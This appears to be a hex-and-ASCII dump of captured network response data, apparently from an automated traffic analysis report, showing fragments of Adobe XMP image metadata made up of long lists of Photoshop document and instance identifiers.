66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 37 33 66 33 37 64 31 66 2d 64 33 34 61 
2d 31 31 65 35 2d 39 31 64 35 2d 39 37 64 66 32 62 62 34 34 64 64 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 6
9 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 
Data Ascii: rdf:li>adobe:docid:photoshop:735b3824-b07b-11e7-b79a-ac5fb1c1c094</rdf:li> <rdf:li>adobe:docid:pho
toshop:73a1a092-27ab-11e8-b4bb-8857a981b214</rdf:li> <rdf:li>adobe:docid:photoshop:73f37d1f-d34a-11e5-91d5-97d
f2bb44dd8</rdf:li> <rdf:li>adobe:docid:photosho
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2022-05-26 11:46:49 UTC 4021 IN Data Raw: 39 36 31 38 2d 65 30 32 63 61 38 64 32 32 61 38 64 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 
64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 38 37 37 30 62 63 36 30 2d 37 61 63 61 2d 31 31 64 36 2d 
39 62 31 35 2d 38 65 31 64 31 61 37 32 33 31 32 63 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 
65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 38 37 38 35 31 30 30 64 2d 62 62 64 38 2d 31 31 37 39 2d 62 62 37 
62 2d 64 39 61 66 34 63 31 33 66 66 30 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 
63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 38 37 65 65 39 33 63 37 2d 37 32 34 37 2d 31 31 65 37 2d 38 36 36 63 2d 39 
65 65 65 33 66 33 31 35 30 33 65 3c 2f 72 64 66 3a 6c 69 3e 20 
Data Ascii: 9618-e02ca8d22a8d</rdf:li> <rdf:li>adobe:docid:photoshop:8770bc60-7aca-11d6-9b15-8e1d1a72312c</rdf:li> 
<rdf:li>adobe:docid:photoshop:8785100d-bbd8-1179-bb7b-d9af4c13ff00</rdf:li> <rdf:li>adobe:docid:photoshop:87ee93c7-
7247-11e7-866c-9eee3f31503e</rdf:li> 

2022-05-26 11:46:49 UTC 4053 IN Data Raw: 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 62 63 61 33 35 66 62 61 2d 61 31 32 65 2d 31 31 37 37 2d 61 32 39 30 
2d 38 37 66 33 66 35 30 61 33 32 66 63 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 
69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 62 63 64 61 66 38 66 31 2d 35 36 30 36 2d 31 31 37 39 2d 38 31 65 63 2d 38 63 
66 61 30 31 34 38 64 39 64 61 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 
70 68 6f 74 6f 73 68 6f 70 3a 62 63 64 65 37 31 36 34 2d 37 34 38 33 2d 65 39 34 61 2d 61 66 66 32 2d 37 37 30 30 65 
30 64 65 64 37 33 62 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 
74 6f 73 68 6f 70 3a 62 63 66 33 37 64 64 61 2d 61 62 38 38 2d 
Data Ascii: id:photoshop:bca35fba-a12e-1177-a290-87f3f50a32fc</rdf:li> <rdf:li>adobe:docid:photoshop:bcdaf8f1-5606-
1179-81ec-8cfa0148d9da</rdf:li> <rdf:li>adobe:docid:photoshop:bcde7164-7483-e94a-aff2-7700e0ded73b</rdf:li> <rdf:li
>adobe:docid:photoshop:bcf37dda-ab88-

2022-05-26 11:46:49 UTC 4069 IN Data Raw: 66 61 39 32 63 63 38 62 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 
64 3a 70 68 6f 74 6f 73 68 6f 70 3a 65 66 34 61 34 34 61 65 2d 35 36 36 32 2d 31 31 64 63 2d 38 62 31 39 2d 61 35 32 
31 61 38 30 62 61 39 39 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 
68 6f 74 6f 73 68 6f 70 3a 65 66 35 30 33 34 35 62 2d 35 65 61 30 2d 31 31 64 62 2d 62 34 37 33 2d 62 61 64 33 36 32 
39 64 36 61 39 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 
6f 73 68 6f 70 3a 65 66 35 38 32 37 38 36 2d 33 39 31 34 2d 31 31 37 38 2d 38 31 34 63 2d 66 32 31 39 61 64 36 34 63 6
4 32 65 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 
Data Ascii: fa92cc8b</rdf:li> <rdf:li>adobe:docid:photoshop:ef4a44ae-5662-11dc-8b19-a521a80ba999</rdf:li> <rdf
:li>adobe:docid:photoshop:ef50345b-5ea0-11db-b473-bad3629d6a94</rdf:li> <rdf:li>adobe:docid:photoshop:ef582786-
3914-1178-814c-f219ad64cd2e</rdf:li> <rdf:li>a

2022-05-26 11:46:49 UTC 4140 IN Data Raw: 31 42 34 39 36 45 33 39 39 34 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 30 39 
41 38 41 37 37 30 43 46 35 30 44 45 31 31 39 46 41 36 41 30 45 36 45 34 30 44 46 38 46 44 3c 2f 72 64 66 3a 6c 69 3e 
20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 30 39 43 46 42 31 44 33 41 30 44 33 44 43 31 31 38 31 46 37 39 34 31 44 38 
42 45 30 32 36 39 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 30 39 44 43 38 37 45 37 37 3
9 31 43 45 30 31 31 39 33 36 46 44 43 43 37 38 43 34 46 43 35 44 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 
3e 75 75 69 64 3a 30 41 31 42 43 31 37 36 38 46 37 39 44 46 31 31 42 35 30 39 42 39 31 45 39 39 46 32 33 38 46 31 3c 
2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 30 
Data Ascii: 1B496E39948</rdf:li> <rdf:li>uuid:09A8A770CF50DE119FA6A0E6E40DF8FD</rdf:li> <rdf:li>uuid:09CFB1D3A
0D3DC1181F7941D8BE0269D</rdf:li> <rdf:li>uuid:09DC87E7791CE011936FDCC78C4FC5D7</rdf:li> <rdf:li>uuid
:0A1BC1768F79DF11B509B91E99F238F1</rdf:li> <rdf:li>uuid:0

2022-05-26 11:46:49 UTC 4156 IN Data Raw: 36 46 31 34 31 32 33 43 43 45 30 31 31 42 33 46 45 44 32 34 38 33 31 38 34 38 46 35 39 3c 2f 72 64 66 3a 6c 
69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 34 31 45 44 41 39 38 32 42 41 34 36 44 46 31 31 38 33 36 39 44 43 33 
46 43 30 44 31 31 41 35 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 34 32 31 41 44 46 36 
36 33 43 35 46 44 45 31 31 42 34 46 33 44 46 41 45 44 35 35 30 32 33 35 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3
a 6c 69 3e 75 75 69 64 3a 34 32 32 30 33 44 32 44 32 30 45 36 45 30 31 31 42 39 46 44 46 30 37 43 38 41 35 30 39 39 
37 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 34 32 34 32 34 44 41 45 32 36 31 46 45 30 
31 31 41 45 42 44 43 44 31 39 39 35 37 36 44 39 35 36 3c 2f 72 64 66 3a 
Data Ascii: 6F14123CCE011B3FED24831848F59</rdf:li> <rdf:li>uuid:41EDA982BA46DF118369DC3FC0D11A55</rdf:li> 
<rdf:li>uuid:421ADF663C5FDE11B4F3DFAED5502358</rdf:li> <rdf:li>uuid:42203D2D20E6E011B9FDF07C8A
509973</rdf:li> <rdf:li>uuid:42424DAE261FE011AEBDCD199576D956</rdf:

2022-05-26 11:46:49 UTC 5698 IN Data Raw: 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 37 33 46 37 37 32 39 32 36 36 36 45 
31 31 44 42 38 31 35 45 45 36 33 36 39 46 46 32 42 37 38 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 
75 69 64 3a 37 34 31 36 41 37 38 30 37 43 45 33 31 31 44 41 38 42 39 34 45 45 36 38 41 39 31 31 36 33 32 33 3c 2f 72 
64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 37 34 32 41 41 41 30 41 31 43 39 42 44 46 31 31 39 41 39 
30 44 44 46 36 30 42 42 32 46 43 44 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 37 34 34 
34 38 36 30 36 46 31 37 34 31 31 44 41 41 43 32 33 38 46 42 34 31 30 30 42 45 34 44 41 3c 2f 72 64 66 3a 6c 69 3e 20 
3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 37 34 35 32 30 32 46 31 38 45 32 
Data Ascii: F</rdf:li> <rdf:li>uuid:73F77292666E11DB815EE6369FF2B78F</rdf:li> <rdf:li>uuid:7416A7807CE311DA8B9
4EE68A9116323</rdf:li> <rdf:li>uuid:742AAA0A1C9BDF119A90DDF60BB2FCD0</rdf:li> <rdf:li>uuid:74448606F
17411DAAC238FB4100BE4DA</rdf:li> <rdf:li>uuid:745202F18E2

2022-05-26 11:46:49 UTC 5705 IN Data Raw: 38 42 42 44 34 34 32 34 39 38 45 32 45 30 31 31 39 31 33 33 43 30 35 35 38 33 34 34 37 44 34 38 3c 2f 72 
64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 38 42 44 36 44 42 36 43 35 30 46 36 31 31 44 44 38 44 42 
41 38 30 37 36 39 32 42 45 42 42 44 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 38 42 44 3
9 30 39 41 36 45 41 45 33 31 31 44 43 42 38 39 38 42 34 32 31 46 37 35 34 44 33 42 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 
72 64 66 3a 6c 69 3e 75 75 69 64 3a 38 43 35 39 34 44 32 30 36 30 37 42 44 44 31 31 42 44 36 39 41 41 45 38 45 30 37 
43 38 37 43 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 38 43 37 31 39 45 33 30 38 38 37 
41 31 31 44 42 38 37 46 36 41 33 37 36 36 32 34 43 36 39 34 39 3c 2f 72 
Data Ascii: 8BBD442498E2E0119133C05583447D48</rdf:li> <rdf:li>uuid:8BD6DB6C50F611DD8DBA807692BEBBD7<
/rdf:li> <rdf:li>uuid:8BD909A6EAE311DCB898B421F754D3BE</rdf:li> <rdf:li>uuid:8C594D20607BDD11BD69AAE
8E07C87C3</rdf:li> <rdf:li>uuid:8C719E30887A11DB87F6A376624C6949</r

2022-05-26 11:46:49 UTC 5721 IN Data Raw: 31 41 30 35 30 46 46 45 41 36 32 44 37 39 31 45 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 
75 69 64 3a 43 31 31 32 38 43 41 46 37 42 39 36 44 43 31 31 38 41 31 43 38 34 32 38 44 30 41 30 43 36 30 42 3c 2f 72 
64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 43 31 32 32 30 41 42 46 43 41 32 45 44 43 31 31 42 46 46 
30 38 45 43 34 34 46 30 34 46 32 43 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 43 32 35 3
1 31 42 41 42 41 38 39 45 44 43 31 31 41 30 34 33 39 38 30 35 30 30 37 36 46 43 38 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 
72 64 66 3a 6c 69 3e 75 75 69 64 3a 43 32 36 38 41 34 38 37 44 33 42 32 31 31 45 30 38 41 38 35 46 43 42 43 44 31 35 
41 37 41 30 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 
Data Ascii: 1A050FFEA62D791E9</rdf:li> <rdf:li>uuid:C1128CAF7B96DC118A1C8428D0A0C60B</rdf:li> <rdf:l
i>uuid:C1220ABFCA2EDC11BFF08EC44F04F2C3</rdf:li> <rdf:li>uuid:C2511BABA89EDC11A04398050076FC83</rdf:li> 
<rdf:li>uuid:C268A487D3B211E08A85FCBCD15A7A03</rdf:li> <rdf:li>
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2022-05-26 11:46:49 UTC 5737 IN Data Raw: 75 69 64 3a 64 33 38 63 64 66 63 62 2d 34 32 62 65 2d 34 37 63 33 2d 62 30 34 61 2d 63 31 66 66 36 34 66 
62 34 32 38 63 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 65 30 34 31 37 36 34 36 2d 38 37 
30 30 2d 31 37 66 34 2d 61 35 37 31 2d 34 35 66 33 66 66 66 66 32 66 65 64 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3
a 6c 69 3e 75 75 69 64 3a 65 61 33 39 33 33 65 36 2d 34 31 64 61 2d 31 36 34 37 2d 61 30 36 36 2d 31 61 38 37 31 66 
34 31 35 32 32 62 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 66 61 66 35 62 64 64 35 2d 62 
61 33 64 2d 31 31 64 61 2d 61 64 33 31 2d 64 33 33 64 37 35 31 38 32 66 31 62 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 
66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 30 30 36 30 44 46 39 38 41 33 43 
Data Ascii: uid:d38cdfcb-42be-47c3-b04a-c1ff64fb428c</rdf:li> <rdf:li>uuid:e0417646-8700-17f4-a571-45f3ffff2fed</rdf:li> 
<rdf:li>uuid:ea3933e6-41da-1647-a066-1a871f41522b</rdf:li> <rdf:li>uuid:faf5bdd5-ba3d-11da-ad31-d33d75182f1b<
/rdf:li> <rdf:li>xmp.did:00060DF98A3C

2022-05-26 11:46:49 UTC 5745 IN Data Raw: 45 30 32 30 31 35 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 31 38 
30 31 31 37 34 30 37 32 30 36 38 31 31 39 32 42 30 43 39 33 33 42 41 38 43 45 41 41 38 3c 2f 72 64 66 3a 6c 69 3e 20 
3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 31 38 30 31 31 37 34 30 37 32 30 36 38 31 31 39 32 42 30 43 44 30 
41 30 31 43 36 43 44 31 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 31 38 30 3
1 31 37 34 30 37 32 30 36 38 31 31 39 32 42 30 44 30 38 39 46 39 35 43 38 30 44 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 
64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 31 38 30 31 31 37 34 30 37 32 30 36 38 31 31 39 32 42 30 44 36 38 36 37 
41 30 35 33 41 37 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 
Data Ascii: E020159</rdf:li> <rdf:li>xmp.did:018011740720681192B0C933BA8CEAA8</rdf:li> <rdf:li>xmp.did:0180117
40720681192B0CD0A01C6CD1C</rdf:li> <rdf:li>xmp.did:018011740720681192B0D089F95C80D7</rdf:li> <rdf:li
>xmp.did:018011740720681192B0D6867A053A75</rdf:li> <rdf:l

2022-05-26 11:46:49 UTC 5761 IN Data Raw: 32 42 30 42 41 35 38 38 35 38 36 38 43 36 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 
2e 64 69 64 3a 30 34 38 30 31 31 37 34 30 37 32 30 36 38 31 31 39 32 42 30 42 46 30 39 37 46 37 43 35 37 38 30 3c 2f 
72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 34 38 30 31 31 37 34 30 37 32 30 36 38 31 
31 39 32 45 37 41 36 41 32 38 31 42 31 32 35 32 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 6
4 69 64 3a 30 34 38 30 31 31 37 34 30 37 32 30 36 38 31 31 39 35 46 45 43 38 31 42 45 36 34 41 45 36 35 34 3c 2f 72 
64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 34 38 30 31 31 37 34 30 37 32 30 36 38 31 31 
39 39 34 43 42 36 38 43 44 33 33 43 32 46 39 46 3c 2f 72 64 66 3a 6c 69 
Data Ascii: 2B0BA5885868C69</rdf:li> <rdf:li>xmp.did:048011740720681192B0BF097F7C5780</rdf:li> <rdf:li>xmp.did
:048011740720681192E7A6A281B12522</rdf:li> <rdf:li>xmp.did:048011740720681195FEC81BE64AE654</rdf:li> 
<rdf:li>xmp.did:0480117407206811994CB68CD33C2F9F</rdf:li

2022-05-26 11:46:49 UTC 5777 IN Data Raw: 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 39 38 30 31 31 37 34 30 37 32 30 36 38 31 31 41 43 41 46 42 45 
32 41 39 46 33 30 46 30 33 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 39 38 
30 31 31 37 34 30 37 32 30 36 38 31 31 42 34 41 42 39 37 41 36 46 45 30 41 37 38 39 42 3c 2f 72 64 66 3a 6c 69 3e 20 
3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 39 39 42 46 31 46 42 33 39 39 44 45 30 31 31 39 46 35 37 46 44 42 
43 42 44 42 32 34 30 42 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 39 39 46 
46 46 34 37 39 41 32 30 36 38 31 31 38 30 38 33 44 38 36 43 41 31 35 46 41 46 33 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 
72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 39 43 36 45 45 39 33 46 44 
Data Ascii: f:li>xmp.did:0980117407206811ACAFBE2A9F30F030</rdf:li> <rdf:li>xmp.did:0980117407206811B
4AB97A6FE0A789B</rdf:li> <rdf:li>xmp.did:099BF1FB399DE0119F57FDBCBDB240B4</rdf:li> <rdf:li>xmp.did:0
99FFF479A2068118083D86CA15FAF3B</rdf:li> <rdf:li>xmp.did:09C6EE93FD

2022-05-26 11:46:49 UTC 5785 IN Data Raw: 64 3a 31 30 33 33 32 64 62 65 2d 33 33 32 37 2d 34 64 65 37 2d 62 36 64 61 2d 35 61 37 32 61 34 32 36 35 
31 38 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 31 30 34 42 35 46 46 44 36 44 
33 36 45 30 31 31 39 30 44 41 41 45 31 34 30 37 32 37 32 35 30 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3
e 78 6d 70 2e 64 69 64 3a 31 30 37 63 31 64 33 34 2d 32 31 66 35 2d 65 61 34 35 2d 39 39 61 61 2d 35 64 39 63 64 30 
63 36 38 31 66 63 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 31 30 42 38 42 31 35 
45 31 41 32 30 36 38 31 31 39 37 33 34 45 30 36 31 44 44 33 31 41 30 35 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 
3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 31 30 45 35 36 35 41 39 31 30 32 30 36 
Data Ascii: d:10332dbe-3327-4de7-b6da-5a72a4265188</rdf:li> <rdf:li>xmp.did:104B5FFD6D36E01190DAAE14
07272500</rdf:li> <rdf:li>xmp.did:107c1d34-21f5-ea45-99aa-5d9cd0c681fc</rdf:li> <rdf:li>xmp.did:10B8B15E1A2068
119734E061DD31A05F</rdf:li> <rdf:li>xmp.did:10E565A910206

2022-05-26 11:46:49 UTC 5801 IN Data Raw: 70 2e 64 69 64 3a 32 30 45 37 42 42 45 38 32 30 44 38 31 31 36 38 39 45 36 31 45 31 31 31 36 30 32 45 42 
34 44 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 30 45 42 31 38 34 34 34 33 
33 38 45 30 31 31 38 34 31 31 45 43 35 46 33 34 33 31 32 35 36 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3
e 78 6d 70 2e 64 69 64 3a 32 30 61 66 38 31 65 66 2d 35 30 64 35 2d 34 64 66 39 2d 62 64 64 37 2d 31 62 65 33 31 66 
37 39 31 35 62 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 30 62 38 32 34 33 
39 2d 39 36 61 37 2d 34 30 34 37 2d 61 63 66 30 2d 66 37 39 64 63 37 37 38 64 34 30 39 3c 2f 72 64 66 3a 6c 69 3e 20 
3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 31 32 34 30 66 32 33 2d 
Data Ascii: p.did:20E7BBE820D811689E61E111602EB4D2</rdf:li> <rdf:li>xmp.did:20EB18444338E0118411EC5F
3431256E</rdf:li> <rdf:li>xmp.did:20af81ef-50d5-4df9-bdd7-1be31f7915b0</rdf:li> <rdf:li>xmp.did:20b82439-96a7-4047-
acf0-f79dc778d409</rdf:li> <rdf:li>xmp.did:21240f23-

2022-05-26 11:46:49 UTC 5817 IN Data Raw: 78 6d 70 2e 64 69 64 3a 32 66 30 64 66 36 64 38 2d 33 64 63 34 2d 30 33 34 30 2d 62 39 37 39 2d 37 36 66 
35 30 30 37 64 30 62 32 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 66 38 38 
31 36 64 37 2d 39 36 37 63 2d 37 36 34 64 2d 62 66 63 63 2d 32 64 63 64 66 66 36 65 39 38 30 37 3c 2f 72 64 66 3a 6c 6
9 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 66 38 61 36 38 36 38 2d 32 39 66 30 2d 31 39 34 34 2d 62 
35 38 31 2d 39 36 63 32 65 30 63 61 33 30 39 66 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 
69 64 3a 32 66 39 33 63 35 38 38 2d 63 37 35 61 2d 66 36 34 31 2d 61 35 61 36 2d 66 31 30 62 34 31 65 62 30 65 32 62 
3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 
Data Ascii: xmp.did:2f0df6d8-3dc4-0340-b979-76f5007d0b23</rdf:li> <rdf:li>xmp.did:2f8816d7-967c-764d-bfcc-2dcd
ff6e9807</rdf:li> <rdf:li>xmp.did:2f8a6868-29f0-1944-b581-96c2e0ca309f</rdf:li> <rdf:li>xmp.did:2f93c588-c75a-f641-
a5a6-f10b41eb0e2b</rdf:li> <rdf:li>xmp.did

2022-05-26 11:46:49 UTC 6073 IN Data Raw: 37 34 2d 62 35 66 64 2d 38 66 32 66 63 39 36 66 39 31 63 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 
69 3e 78 6d 70 2e 64 69 64 3a 33 36 39 36 35 35 31 34 31 32 32 30 36 38 31 31 42 34 42 43 43 32 41 38 45 42 43 37 38 
31 33 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 33 36 42 45 32 34 43 44 33 46 
32 30 36 38 31 31 41 39 42 35 39 38 36 35 46 39 46 31 35 36 32 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3
e 78 6d 70 2e 64 69 64 3a 33 36 44 31 34 31 36 45 31 44 32 30 36 38 31 31 38 38 43 36 43 46 37 45 33 38 39 42 36 36 
30 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 33 36 45 46 34 46 38 32 30 38 32 
30 36 38 31 31 42 34 42 43 43 32 41 38 45 42 43 37 38 31 33 35 3c 2f 72 
Data Ascii: 74-b5fd-8f2fc96f91c6</rdf:li> <rdf:li>xmp.did:3696551412206811B4BCC2A8EBC78135</rdf:li> <rdf:li>xm
p.did:36BE24CD3F206811A9B59865F9F1562B</rdf:li> <rdf:li>xmp.did:36D1416E1D20681188C6CF7E389B6608</rdf:li> 
<rdf:li>xmp.did:36EF4F8208206811B4BCC2A8EBC78135</r
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2022-05-26 11:46:49 UTC 6089 IN Data Raw: 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 35 37 35 30 42 37 39 32 45 32 30 36 38 31 
31 39 30 32 39 39 46 46 34 41 41 42 43 42 37 35 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 
64 69 64 3a 34 35 41 30 30 39 41 45 34 30 34 37 45 34 31 31 39 31 38 44 44 30 39 43 44 33 41 44 35 38 31 43 3c 2f 72 
64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 35 41 37 35 34 46 32 43 37 38 45 44 46 31 31 
41 34 43 32 46 38 34 46 32 37 34 30 31 38 37 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 
69 64 3a 34 35 42 31 46 36 42 31 44 39 33 35 31 31 45 30 41 32 38 44 43 31 32 36 30 42 46 37 34 39 36 43 3c 2f 72 64 
66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 35 42 
Data Ascii: li> <rdf:li>xmp.did:45750B792E20681190299FF4AABCB75E</rdf:li> <rdf:li>xmp.did:45A009AE40
47E411918DD09CD3AD581C</rdf:li> <rdf:li>xmp.did:45A754F2C78EDF11A4C2F84F27401873</rdf:li> <rdf:li>xm
p.did:45B1F6B1D93511E0A28DC1260BF7496C</rdf:li> <rdf:li>xmp.did:45B

2022-05-26 11:46:49 UTC 6105 IN Data Raw: 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 34 35 42 42 31 34 35 42 34 32 30 36 38 
31 31 41 36 31 33 44 42 32 36 39 46 45 46 35 32 34 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 
2e 64 69 64 3a 35 34 35 43 41 45 41 36 45 31 32 30 36 38 31 31 39 31 30 39 41 32 43 44 31 31 44 44 43 42 44 44 3c 2f 
72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 34 38 39 31 44 42 34 36 39 32 31 36 38 31 
31 41 36 31 33 38 45 46 32 43 31 36 38 37 36 46 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 
64 69 64 3a 35 34 38 61 39 33 62 63 2d 36 65 34 39 2d 64 33 34 63 2d 39 62 61 30 2d 34 38 61 34 32 32 32 39 66 66 65 
61 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 
Data Ascii: :li> <rdf:li>xmp.did:545BB145B4206811A613DB269FEF524D</rdf:li> <rdf:li>xmp.did:545CAEA6E1206811910
9A2CD11DDCBDD</rdf:li> <rdf:li>xmp.did:54891DB469216811A6138EF2C16876FC</rdf:li> <rdf:li>xmp.did:548a93bc-
6e49-d34c-9ba0-48a42229ffea</rdf:li> <rdf:li>xmp.di

2022-05-26 11:46:49 UTC 6113 IN Data Raw: 3a 35 44 41 45 37 34 31 39 33 35 32 30 36 38 31 31 39 35 46 45 44 38 42 44 46 38 34 31 43 37 37 44 3c 2f 
72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 44 41 46 31 37 36 34 42 30 32 38 36 38 31 
31 38 32 32 41 44 41 42 41 31 35 41 34 36 44 45 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 6
